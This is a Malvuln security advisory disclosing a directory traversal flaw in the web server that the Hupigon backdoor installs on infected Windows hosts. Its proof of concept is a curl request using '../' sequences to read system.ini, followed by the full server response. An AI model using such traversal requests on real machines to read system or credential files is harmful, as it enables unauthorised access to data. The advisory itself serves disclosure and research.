Backdoor.Win32.Hupigon.afjk malware suffers from a directory traversal vulnerability.
ad5c815c9b46e0a1874b24c9044ed258Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/80b0fc8c0657c0ae7971f09af45c706b.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Hupigon.afjk
Vulnerability: Directory Traversal
Description: The malware deploys a Web server listening on TCP port 80. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the web root dir.
Type: PE32
MD5: 80b0fc8c0657c0ae7971f09af45c706b
Vuln ID: MVID-2021-0374
Disclosure: 10/27/2021
Exploit/PoC:
curl http://192.168.18.125/../../../../Windows/system.ini -v
Connected to 192.168.18.125 (192.168.18.125) port 80 (#0)
GET /Windows/system.ini HTTP/1.1
Host: 192.168.18.125
User-Agent: curl/7.55.1
Accept: */*
HTTP/1.0 200 OK
Server: dcs-http-server/1.0
Date: Thu, 06 Dec 2001 15:08:55 GMT
Content-length: 219
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
* Closing connection 0
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